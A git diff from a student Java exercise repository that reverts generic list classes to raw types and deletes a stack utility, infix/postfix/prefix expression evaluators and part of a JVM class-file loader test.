+			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
+		}
+		return elementData[index];
 	}
 	
-	public E remove(int index){
+	public Object remove(int index){
 		
-		rangeCheck(index);
-		E o = elementData(index);
-		int i = this.size - index - 1;
-		if (i > 0) {
-		    System.arraycopy(this.elementData, index + 1, this.elementData, index, i);
-		}
-		this.elementData[(--this.size)] = null;	
+		Object o = elementData[index];
+		System.arraycopy(elementData, index+1, elementData, index, size-(index+1));		
+		size --;
 		return o;
 	}
 	
@@ -76,17 +74,6 @@ private void grow(){
 		}		
 	}
 	
-	private void rangeCheck(int index) {
-		
-		if (index >= this.size) {
-			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
-		}
-	}
-	
-	@SuppressWarnings("unchecked")
-	E elementData(int index) {  
-	    return (E) elementData[index];  
-	}
 	
     public Iterator iterator(){
 		
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
index 0bd2cef66b..de11fdbca5 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayUtil.java
@@ -112,7 +112,7 @@ public int[] merge2(int[] array1, int[] array2){
 			bitmap[array2[i]]=true;		
 		}
 
-		ArrayList<Integer> ls = new ArrayList<>();
+		ArrayList ls = new ArrayList();
 		for (int i = 0; i < bitmap.length; i++) {
 			if(bitmap[i]==true){
 				ls.add(i);
@@ -149,7 +149,7 @@ public int[] fibonacci(int max){
 		int[] array = {};
 		if(max <= 1)return array;	
 		//生成 斐波那契数列的ArrayList集合
-	    ArrayList<Integer> ls = new ArrayList<>();
+	    ArrayList ls = new ArrayList();
 	    ls.add(1);ls.add(1);	    
 		int next;int i = 1;				
 		while(true){
@@ -171,7 +171,7 @@ public int[] fibonacci(int max){
 	 */
 	public int[] getPrimes(int max){
 
-		ArrayList<Integer> primesList = new ArrayList<>();
+		ArrayList primesList = new ArrayList();
 		boolean flag;
 		for (int i = 2; i < max; i++) {
 			flag = false;
@@ -197,7 +197,7 @@ public int[] getPrimes(int max){
 	public int[] getPerfectNumbers(int max){
 		
 		int temp;
-		ArrayList<Integer> perfectList = new ArrayList<Integer>();
+		ArrayList perfectList = new ArrayList();
 		for (int i = 6; i <= max; i++) {
 			temp = 0;
 			for (int j = 1; j <= (i/2); j++) {
@@ -234,7 +234,7 @@ public String join(int[] array, String seperator){
 	 * @param ls
 	 * @return
 	 */
-	public int[] objList2int(ArrayList<Integer> ls){
+	public int[] objList2int(ArrayList ls){
 		
 		Object[] objArr = ls.toArray();
 		int[] array = new int[ls.size()];
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java b/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
index 5ee8881fa0..0132efaa00 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/linklist/LinkedList.java
@@ -4,57 +4,57 @@
 
 import com.coding.basic.Iterator;
 import com.coding.basic.List;
-import com.coding.basic.stack.Stack;
+import com.coding.basic.Stack;
 
-public class LinkedList<E> implements List<E> {
+public class LinkedList implements List {
 	
-	private Node<E> head;
+	private Node head;
 	
 	private int size = 0;
 	
-	public void add(E o){
+	public void add(Object o){
 		
-		Node<E> addNode = new Node<>();
+		Node addNode = new Node();
 		addNode.data = o;
 	    if(size==0){	    	
 	    	head = addNode;
 	    }else{
 	    	//获取最后一个节点
-	    	Node<E> lastNode = getPointNode(size-1);
+	    	Node lastNode = getPointNode(size-1);
 	    	lastNode.next = addNode;	    		    	
 	    }
 	    size++;
 	}
-	public void add(int index , E o){
+	public void add(int index , Object o){
 		
-		Node<E> addNode = new Node<>();
+		Node addNode = new Node();
 		addNode.data = o;
 		if(index == 0){	//添加头结点		
 			addFirst(o);	
 	    }else if(index == size){//添加尾节点
         	addLast(o);
 		}else{//在投节点与尾部添加节点			
-			Node<E>  prePointNode = getPointNode(index-1);
-			Node<E>  pointNode = prePointNode.next;
+			Node prePointNode = getPointNode(index-1);
+			Node pointNode = prePointNode.next;
 			prePointNode.next = addNode;
 			addNode.next = pointNode;	
 			size ++;
 		}			
 	}
-	public E get(int index){
+	public Object get(int index){
 
-		Node<E> node = getPointNode(index);
+		Node node = getPointNode(index);
 		return node.data;
 	}
 	
-	public E remove(int index){
+	public Object remove(int index){
 		
-		Node<E> pointNode = getPointNode(index);
-		Node<E> nextPointNode = pointNode.next;
+		Node pointNode = getPointNode(index);
+		Node nextPointNode = pointNode.next;
 		if(index ==0){
 			head = nextPointNode;			 
 		}else{
-			Node<E> prePointNode = getPointNode(index-1);			
+			Node prePointNode = getPointNode(index-1);			
 			prePointNode.next = nextPointNode;
 		}						
 		size --;
@@ -65,10 +65,10 @@ public int size(){
 		return size;
 	}
 	
-	public void addFirst(E o){	
+	public void addFirst(Object o){	
 		
-		Node<E> secondNode = head;	
-		head = new Node<>();
+		Node secondNode = head;	
+		head = new Node();
 		head.data = o;
 		if(size>0){		
 			head.next = secondNode;
@@ -76,16 +76,16 @@ public void addFirst(E o){
 		size ++;
 	}
 	
-	public void addLast(E o){
+	public void addLast(Object o){
 		add(o);
 	}
 	
-	public E removeFirst(){
+	public Object removeFirst(){
 
 		return remove(0);
 	}
 	
-	public E removeLast(){
+	public Object removeLast(){
 		
 		return remove(size-1);
 	}
@@ -118,21 +118,21 @@ public Object next() {
 	 * 获取指定的节点
 	 * @return
 	 */
-	private Node<E> getPointNode(int index){
+	private Node getPointNode(int index){
 
 		if(index<0||index>size){
 			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size+"");	
 		}
-		Node<E> node = head;
+		Node node = head;
 		for (int i = 0; i < index; i++) {
 			node = node.next;
 		}
 		return node;
 	}
 		
-	private static  class Node<E>{
-		E data;
-		Node<E> next;
+	private static  class Node{
+		Object data;
+		Node next;
 		
 	}	
 	
@@ -142,8 +142,8 @@ private static  class Node<E>{
 	 */
 	public  void reverse(){	
 		
-		Stack<E> stack = new Stack<E>();
-		Node<E> node;
+		Stack stack = new Stack();
+		Node node;
 		//缓存原链表数据
 		for (node = head; node!=null;node = node.next) {
 			stack.push(node.data);
@@ -198,10 +198,10 @@ public  void remove(int i, int length){
 	 * 返回的结果应该是[101,301,401,601]  
 	 * @param list
 	 */
-	public int[] getElements(LinkedList<Integer> list){
+	public int[] getElements(LinkedList list){
 		int[] array = new int[list.size()];
 		for (int i = 0; i < array.length; i++) {
-			array[i] = (int) get(list.get(i));
+			array[i] = (int) get((int)list.get(i));
 		}
 		return array;
 	}
@@ -212,11 +212,12 @@ public int[] getElements(LinkedList<Integer> list){
 	 * @param list
 	 */
 	
-	public  void subtract(LinkedList<E> list){		
+	public  void subtract(LinkedList list){		
 		for (int i = 0; i < size; i++) {
 			for (int j = 0; j < list.size(); j++) {
 				if(get(i).equals(list.get(j))){
 					remove(i);
+					i--;
 				}
 			}
 		}
@@ -258,13 +259,13 @@ public  void removeRange(int min, int max){
 	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
 	 * @param list
 	 */
-	public  LinkedList<E> intersection( LinkedList<E> list){
+	public  LinkedList intersection( LinkedList list){
 		
-		LinkedList<E> newList = new LinkedList<>();
+		LinkedList newList = new LinkedList();
 		for (int i = 0; i < size; i++) {
 			for (int j = 0; j < list.size(); j++) {
 				if(get(i).equals(list.get(j))){
-					newList.add((E)get(i));
+					newList.add(get(i));
 				}
 			}
 		}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index f1ede1f8ab..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.coding.basic.stack;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack<E> {
-	
-	private ArrayList<E> elementData = new ArrayList<E>();
-	
-	public void push(E o){	
-		
-		elementData.add(o);
-	}
-	
-	public E pop(){
-		
-		return elementData.remove(size()-1);
-	}
-	
-	public E peek(){
-		
-		return elementData.get(size()-1);
-	}
-	public boolean isEmpty(){
-
-		return size()==0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-	
-	@Override
-	public String toString() {
-		
-		StringBuffer sBuffer = new StringBuffer();
-		sBuffer.append("[");	
-		
-		for (int i = size()-1; i >= 0; i--) {
-			if(i == 0){
-				sBuffer.append(elementData.get(i)+"]");
-			}else{
-				sBuffer.append(elementData.get(i)+",");
-			}			
-		}
-		return sBuffer.toString();
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 871b2fce69..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,158 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.HashMap;
-import java.util.Map;
-
-public class StackUtil {
-
-	private static Map<Character, Character> markMap;
-	
-	static {
-		//初始化括号对
-		markMap = new HashMap<Character, Character>();
-		markMap.put('(', ')');
-		markMap.put('[', ']');
-		markMap.put('{', '}');		
-	}
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param <E>
-	 */
-	public static <E> void reverse(Stack<E> s) {
-
-		if(s == null||s.isEmpty()){
-			return;
-		}				
-		E last = getBottom(s,s.pop());
-		reverse(s);
-		s.push(last);	
-	}
-	
-	/**
-	 * 获取栈底部数据
-	 * @param <E>
-	 * @param s
-	 * @return
-	 */
-	private static <E> E getBottom(Stack<E> s,E val){
-		
-		if(s.isEmpty()){
-			return val;
-		}		
-		E lst = getBottom(s,s.pop());
-		s.push(val);
-		return lst;
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param <E>
-	 * 
-	 * @param o
-	 */
-	public static <E> void remove(Stack<E> s,E o) {
-		
-		if(s == null||s.isEmpty()){
-			return;
-		}			
-		E res = s.pop();
-		if(res.equals(o)){
-			return;
-		}
-		remove(s,o);
-		s.push(res);		
-	}
-		
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param <E>
-	 * @param len
-	 * @return
-	 */
-
-	public static <E> Object[] getTop(Stack<E> s,int len) {
-		
-		if(s == null||s.isEmpty()||len <= 0){
-			return null;
-		}
-		
-		//当len的长度大于栈s的长度时返回栈s全部数据
-		int size  = s.size()>=len? len:s.size();
-		
-		Object[] objs = new Object[size];
-		
-		putValueToArray(s,objs,0);
-		
-		return objs;
-	}
-	
-	/**
-	 * 将获取的元素放到数组中
-	 * @param <E>
-	 * @param s
-	 * @param objs
-	 * @param count
-	 */
-	public static <E> void putValueToArray(Stack<E> s,Object[] objs,int count){
-		
-		E res = s.pop();
-		count++;
-		objs[count-1] = res;
-		if(count== objs.length){
-			s.push(res);
-			return;
-		}
-		putValueToArray(s,objs,count);		
-		s.push(res);			
-	}
-	
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		
-		if(!validation(s)){
-			return false;
-		}
-		Stack<Character> markStack = new Stack<>();		
-		char[] charArr = s.toCharArray();	
-		for (int i = 0; i < charArr.length; i++) {
-			if(markMap.containsKey(charArr[i])){
-				markStack.push(charArr[i]);
-			}
-			if(markMap.containsValue(charArr[i])){				
-				if(markMap.get(markStack.pop()).equals(charArr[i])){
-					continue;
-				}else{
-					return false;
-				}
-			}
-		}
-		return markStack.size()==0;
-	}
-	
-	private static boolean validation(String s){
-		
-		if(s!=null&&s.length()>0){
-			if(s.contains("(")&&s.contains(")")){
-				return true;
-			}
-			if(s.contains("[")&&s.contains("]")){
-				return true;
-			}
-			if(s.contains("{")&&s.contains("}")){
-				return true;
-			}
-		}		
-		return false;
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index a02d03c861..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,120 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.StackUtil;
-import com.coding.basic.stack.expr.util.ExprIterator;
-import com.coding.basic.stack.expr.util.FixExprUtil;
-import com.coding.basic.stack.expr.util.Operator;
-
-public class InfixExpr {
-
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-
-		//数据栈
-		Stack<Float> dataStack = new Stack<>();
-		//操作栈
-		Stack<Operator> operStack = new Stack<>();
-		
-		parseExpr(dataStack,operStack);
-		
-		return summary(dataStack,operStack);
-	}
-
-	
-	/**
-	 * 拆分数据与运算符于两个栈中
-	 * 
-	 * @return
-	 */
-	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
-
-		ExprIterator it = new ExprIterator(expr);
-		while(it.hasNext()){
-			String element = it.next();
-			if (Operator.contains(element)) {
-				putOpersToStack(dataStack,operStack, element);
-			} else {
-				dataStack.push(Float.parseFloat(element));
-			}
-		}
-		validationLastOpers(dataStack,operStack);
-	}
-
-	/**
-	 * 检查最后一个操作符优先级与之前是否保持统一，
-	 * 若不统一则进行运算,使栈中运算符保持同一个优先级
-	 * @param stacks
-	 */	
-	private void validationLastOpers(Stack<Float> dataStack,Stack<Operator> operStack) {
-		
-		Object[] opers = StackUtil.getTop(operStack, 2);
-		Operator thisOper = (Operator) opers[0];
-		Operator preOper = (Operator) opers[1];
-		if(thisOper.getLevel()!=preOper.getLevel()){			
-			calculateToStack(dataStack,operStack,false);
-		}		
-	}
-
-	/**
-	 * 运算符压栈
-	 * @param stacks
-	 * @param c
-	 */
-	private void putOpersToStack(Stack<Float> dataStack,Stack<Operator> operStack, String c) {
-
-		Operator thisOper = Operator.getOperator(c);		
-		if (!operStack.isEmpty()) {
-			Operator preOper = operStack.peek();
-			if (preOper.getLevel() > thisOper.getLevel()) {	
-				calculateToStack(dataStack,operStack,false);
-			}
-		}
-		operStack.push(thisOper);
-	}
-	
-	/**
-	 * 运算距栈顶最近两个元素的值并压回原栈
-	 * @param stacks 
-	 * stacks[0]运算符,stacks[1]数据
-	 * @param isReverse 
-	 * 当isReversed为true时会交换两个元素的位置
-	 */
-	private void calculateToStack(Stack<Float> dataStack,Stack<Operator> operStack,boolean isReverse){
-				
-		float a,b;
-		if(isReverse){
-			a = dataStack.pop();
-			b = dataStack.pop();;
-		}else{
-			b = dataStack.pop();;
-			a = dataStack.pop();;
-		}
-				
-		Operator oper = operStack.pop();
-		float res = FixExprUtil.calculate(a,oper,b);
-		dataStack.push(res);
-	}
-
-	/**
-	 * 汇总结果
-	 * @param stacks
-	 * @return
-	 */
-	private float summary(Stack<Float> dataStack,Stack<Operator> operStack) {
-		
-		StackUtil.reverse(dataStack);
-		StackUtil.reverse(operStack);
-		
-		while (!operStack.isEmpty()) {
-			calculateToStack(dataStack,operStack,true);
-		}
-		return dataStack.pop();
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index cdd7605635..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.expr.util.ExprIterator;
-import com.coding.basic.stack.expr.util.FixExprUtil;
-import com.coding.basic.stack.expr.util.Operator;
-
-public class PostfixExpr {
-
-	String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		
-		//数据栈
-		Stack<Float> dataStack = new Stack<>();
-		
-		parseExpr(dataStack,null);
-				
-		return dataStack.peek();
-	}
-	
-	/**
-	 * 解析表达式
-	 * @return
-	 */
-	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
-
-		ExprIterator it = new ExprIterator(expr);
-		float a,b,res;
-		while(it.hasNext()){
-			String element = it.next();
-			if (Operator.contains(element)) {
-				b = dataStack.pop();
-				a = dataStack.pop();
-				res = FixExprUtil.calculate(a, Operator.getOperator(element), b);
-				dataStack.push(res);
-			} else {
-				dataStack.push(Float.parseFloat(element));
-			}
-		}
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index 4a0b025cfe..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.expr.util.ExprIterator;
-import com.coding.basic.stack.expr.util.FixExprUtil;
-import com.coding.basic.stack.expr.util.Operator;
-
-public class PrefixExpr {
-
-    String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		
-		//数据栈
-		Stack<Float> dataStack = new Stack<>();
-		
-		parseExpr(dataStack,null);
-		
-		return dataStack.peek();
-	}
-	
-	/**
-	 * 解析表达式
-	 * @return
-	 */
-	private void parseExpr(Stack<Float> dataStack,Stack<Operator> operStack) {
-
-		ExprIterator it = new ExprIterator(FixExprUtil.reverse(expr));
-		float a,b,res;
-		while(it.hasNext()){
-			String element = it.next();
-			if (Operator.contains(element)) {
-				a = dataStack.pop();
-				b = dataStack.pop();
-				res = FixExprUtil.calculate(a, Operator.getOperator(element), b);
-				dataStack.push(res);
-			} else {
-				dataStack.push(Float.parseFloat(element));
-			}
-		}
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java
deleted file mode 100644
index 59efc0907d..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/ExprIterator.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coding.basic.stack.expr.util;
-
-import com.coding.basic.List;
-import com.coding.basic.array.ArrayList;
-
-/**
- * 表达式迭代器
- * @author zj
- * @since 2017-4-17
- */
-public class ExprIterator{
-
-	private List<String> data = new ArrayList<String>(); 
-	private int cursor;
-	
-	public ExprIterator(String expr){
-		this.data = FixExprUtil.FixExprToArray(expr);
-	}
-
-	public boolean hasNext() {
-		return cursor != (data.size());
-	}
-
-	public String next() {
-		
-		int i = cursor;
-		cursor = (i+1);
-		return data.get(i);
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java
deleted file mode 100644
index 4f431f219d..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/FixExprUtil.java
+++ /dev/null
@@ -1,174 +0,0 @@
-package com.coding.basic.stack.expr.util;
-
-import java.util.regex.Pattern;
-
-import com.coding.basic.List;
-import com.coding.basic.array.ArrayList;
-import com.coding.basic.stack.Stack;
-
-public class FixExprUtil {
-	
-    private static String LEFTBRACKRT= "(";	
-	private static String RIGHTBRACKET= ")";
-	
-	/**
-	 * 运算
-	 * @param a 数字
-	 * @param oper 运算符
-	 * @param b 数字
-	 * @return
-	 */
-	public static  float calculate(float a,Operator oper,float b) {
-
-		String operFlag = oper.getFlag();
-
-		float res = 0f;
-		if (Operator.ADD.getFlag().equals(operFlag)) {
-			res = a + b;
-		} else if (Operator.SUB.getFlag().equals(operFlag)) {
-			res = a - b;
-		} else if (Operator.MULTY.getFlag().equals(operFlag)) {
-			res = a * b;
-		} else if (Operator.DIVIDE.getFlag().equals(operFlag)) {
-			res = a / b;
-		}
-		return res;
-	} 
-	
-	/**
-	 * 将字符串顺序逆置
-	 * @param str
-	 * @return
-	 */
-	public static String reverse(String expr){
-		
-		return new StringBuffer(expr).reverse().toString();		
-	}
-	
-	/**
-	 * 判断字符串是否为数字
-	 * 注意：不包括小数
-	 * @param str
-	 * @return
-	 */
-	public static boolean isNumeric(String str){
-		Pattern pattern = Pattern.compile("[0-9]*");
-	    return pattern.matcher(str).matches();    
-	}
-	
-	/**
-	 * 将中缀表达式装换为后缀表达式
-	 * @param expr
-	 * @return
-	 */
-	public static String InfixCovertToPostfix(String expr){
-		
-    	ExprIterator it = new ExprIterator(expr);   	
-		Stack<String> stack = new Stack<>();
-		List<String> postFixList = new ArrayList<String>();
-		
-		while(it.hasNext()){
-			
-			String element = it.next();
-			//数字直接输出
-			if(FixExprUtil.isNumeric(element)){
-				postFixList.add(element);
-			}else if(RIGHTBRACKET.equals(element)){//去除左右括号
-				do {
-					postFixList.add(stack.pop());
-				} while (!LEFTBRACKRT.equals(stack.pop()));
-			}else{
-				int preLevel = 0;
-				int thisLevel = Operator.getLevelByFlag(element);	
-				//当栈顶运算符优先级大于本次运算优先级时（左括号除外）出栈至栈顶优先级小于本次运算优先级
-				while(preLevel>thisLevel&&preLevel!=3&&!stack.isEmpty()){
-					String oprFlag = stack.pop();
-					preLevel = Operator.getLevelByFlag(oprFlag);
-					postFixList.add(oprFlag);
-				}
-				stack.push(element);
-			}
-			
-		}
-		//将栈中剩余元素出栈
-		while(!stack.isEmpty()){
-			postFixList.add(stack.pop());
-		}
-		//格式化输出
-		StringBuffer postFix = new StringBuffer();
-		for (int i = 0; i < postFixList.size(); i++) {
-			postFix.append(postFixList.get(i)+" ");
-		}
-		return postFix.toString();		
-	}
-	
-	/**
-	 * 中缀表达式转前缀表达式
-	 * @param expr
-	 * @return
-	 */
-	public static String InfixCovertToPrefix(String expr){
-		
-		String post = InfixCovertToPostfix(expr);
-		return reverse(post);
-	}
-	
-	/**
-	 * 后缀表达式转前缀表达式
-	 * @param expr
-	 * @return
-	 */
-	public static String postfixCovertToPrefix(String expr){
-		return reverse(expr);
-	}
-	
-	/**
-	 * 前缀表达式转后缀表达式
-	 * @param expr
-	 * @return
-	 */
-	public static String prefixCovertToPostfix(String expr){
-		return reverse(expr);
-	}
-	
-	/**
-	 * 将表达式字符串转换为List
-	 * @param expr
-	 * @return
-	 */
-	public static List<String> FixExprToArray(String expr){
-		
-		List<String> ls = new ArrayList<>();
-			
-		String[] strArr = expr.split(" ");
-		for (String str : strArr) {
-			parse(str,ls);
-		}
-		
-		return  ls;
-	}
-	
-	public static void parse(String str,List<String> ls){
-		
-		char[] chr = str.toCharArray();		
-		StringBuilder token = new StringBuilder();
-				
-		for (char c : chr) {
-			String element = String.valueOf(c);
-			if(Operator.contains(element)){
-				if(!"".equals(token.toString())){
-					ls.add(token.toString());
-					token = new StringBuilder();
-				}
-				ls.add(c+"");								
-			}else{
-				token.append(c);
-			}
-		}
-		if(!"".equals(token.toString())){
-			ls.add(token.toString());
-		}
-
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java
deleted file mode 100644
index 3e76c3b805..0000000000
--- a/group12/2258659044/zj-2017/src/com/coding/basic/stack/expr/util/Operator.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package com.coding.basic.stack.expr.util;
-
-public enum Operator {
-	
-	ADD("+",1),SUB("-",1),MULTY("*",2),DIVIDE("/",2)
-	,LEFTBRACKRT("(",3),RIGHTBRACKET(")",3);
-	
-	private String flag;
-	private int level;
-	
-	private Operator(String flag,int level){
-		this.flag = flag;
-		this.level = level;
-	}
-
-	public static int getLevelByFlag(String flag){
-		
-		Operator[] opers = Operator.values();
-		for (Operator operator : opers) {
-			if(operator.flag.equals(flag)){
-				return operator.level;
-			}
-		}
-		return -1;
-	}
-	
-    public static Operator getOperator(String flag){
-		
-    	if(ADD.flag.equals(flag)){
-    		return ADD;
-    	}else if(SUB.flag.equals(flag)){
-    		return SUB;
-    	}else if(MULTY.flag.equals(flag)){
-    		return MULTY;
-    	}else if(DIVIDE.flag.equals(flag)){
-    		return DIVIDE;
-    	}else if(LEFTBRACKRT.flag.equals(flag)){
-    		return LEFTBRACKRT;
-    	}else if(RIGHTBRACKET.flag.equals(flag)){
-    		return RIGHTBRACKET;
-    	}
-    	return null;
-	}
-    
-    public static boolean contains(String flag){
-    	
-    	if(ADD.flag.equals(flag)){
-    		return true;
-    	}else if(SUB.flag.equals(flag)){
-    		return true;
-    	}else if(MULTY.flag.equals(flag)){
-    		return true;
-    	}else if(DIVIDE.flag.equals(flag)){
-    		return true;
-    	}else if(LEFTBRACKRT.flag.equals(flag)){
-    		return true;
-    	}else if(RIGHTBRACKET.flag.equals(flag)){
-    		return true;
-    	}
-    	return false;
-    }
-	public String getFlag() {
-		return flag;
-	}
-
-	public int getLevel() {
-		return level;
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
deleted file mode 100644
index 2a18bee6d7..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
+++ /dev/null
@@ -1,349 +0,0 @@
-package test.com.coderising.jvm;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.exception.NotAClassFileException;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileloaderTest {
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "test/com/coderising/jvm/EmployeeV1";
-	
-	static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
-	//static String path1 = "E:\\githubRepository\\coding2017\\group12\\2258659044\\zj-2017\\bin";
-	static String path2 = "C:\temp";
-	
-	
-	static ClassFile clzFile = null;
-	static {
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "test.com.coderising.jvm.EmployeeV1";
-		
-		try {
-			clzFile = loader.loadClass(className);
-		} catch (NotAClassFileException e) {
-			e.printStackTrace();
-		}
-		clzFile.print();
-	}
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		                    
-		String className = "test.com.coderising.jvm.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "test.com.coderising.jvm.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-       
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(51, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
